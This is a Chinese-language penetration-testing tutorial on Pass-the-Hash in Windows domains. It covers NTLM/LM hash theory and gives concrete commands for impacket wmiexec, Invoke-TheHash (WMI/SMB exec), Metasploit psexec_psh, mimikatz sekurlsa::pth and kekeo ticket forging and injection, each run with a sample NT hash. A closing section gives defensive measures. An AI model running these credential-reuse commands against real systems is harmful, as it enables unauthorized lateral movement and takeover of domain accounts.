域渗透——Pass The Hash的实现
字数 1598 2025-08-29 08:32:00
域渗透——Pass The Hash 实现技术详解
0x00 概述
Pass The Hash (PTH) 是一种在Windows域环境中利用NTLM哈希进行身份验证的技术,无需破解明文密码即可实现横向移动。本文将全面介绍PTH的原理、实现方法及相关工具。
0x01 PTH原理详解
NTLM认证机制
- Windows系统通常使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值
- hash值由系统API生成(如LsaLogonUser)
Hash类型
- LM hash:较老的哈希算法,安全性低
- 密码长度>15时无法生成LM hash
- 从Windows Vista/Server 2008开始默认禁用
- NT hash:更安全的哈希算法,目前主要使用
PTH本质
攻击者获取hash后,在身份验证时直接使用该hash模拟用户,跳过系统API生成hash的过程。
启用LM hash方法(Windows Server 2008)
gpedit.msc → 计算机配置 → Windows设置 → 安全设置 → 本地策略 → 安全选项
找到"网络安全:不要在下次更改密码存储LAN管理器的哈希值",选择"已禁用"
系统下次更改密码后即可导出LM hash
0x02 常用PTH工具
Kali Linux工具
- Metasploit
use exploit/windows/smb/psexec_psh
- 密码攻击工具集
位于"密码攻击 → Passing the Hash"分类下,包含多种利用工具
Windows工具
1. Python工具
- wmiexec.py
- 项目地址:https://github.com/CoreSecurity/impacket
- EXE版本:https://github.com/maaaaz/impacket-examples-windows
- 参数格式:
wmiexec -hashes LMHASH:NTHASH DOMAIN/user@IP "command" - 示例:
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 "whoami" - 注:LMHASH可为任意值(当系统不支持LM hash时)
2. PowerShell工具
-
Invoke-TheHash
- 项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash
- 包含多种执行方式:
a. Invoke-WMIExec
Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose类似wmiexec.py的实现
b. Invoke-SMBExec
Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose特点:
- 支持SMB1, SMB2 (2.1)和SMB签名
- 通过创建服务执行命令,权限为SYSTEM
c. Invoke-SMBClient
适用于仅有SMB文件共享权限的情况,支持:- 列举目录
- 上传/下载文件
- 删除文件
(权限取决于hash对应账户的权限)
3. Mimikatz工具
a. Pass-The-Hash(实际为Overpass-the-hash)
privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1
要求:本地管理员权限(需访问lsass.exe进程)
b. Pass-The-Ticket
适用于非管理员权限场景,需配合kekeo使用:
- kekeo下载:https://github.com/gentilkiwi/kekeo
步骤:
- 生成票据:
kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"
生成文件:TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi
- 导入票据:
kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"
0x03 防御建议
-
限制特权账户使用:
- 避免域管理员账户用于日常操作
- 实施最小权限原则
-
补丁管理:
- 安装kb2871997等安全补丁
- 但注意:kb2871997仅限制本地账户的PTH,不影响域账户
-
监控与检测:
- 监控异常的身份验证尝试
- 检测LSASS进程的异常访问
-
安全配置:
- 禁用LM hash存储
- 启用SMB签名
- 限制WMI和SMB的访问权限
-
凭证保护:
- 使用Credential Guard(Windows 10/Server 2016+)
- 实施LSA保护
0x04 总结
Pass The Hash是域渗透中极为有效的横向移动技术,攻击者无需破解明文密码即可利用哈希值进行身份验证。本文详细介绍了PTH的原理、多种实现工具及防御措施,为安全研究人员提供了全面的技术参考。在实际渗透测试或安全评估中,理解这些技术有助于更好地评估和加固域环境的安全性。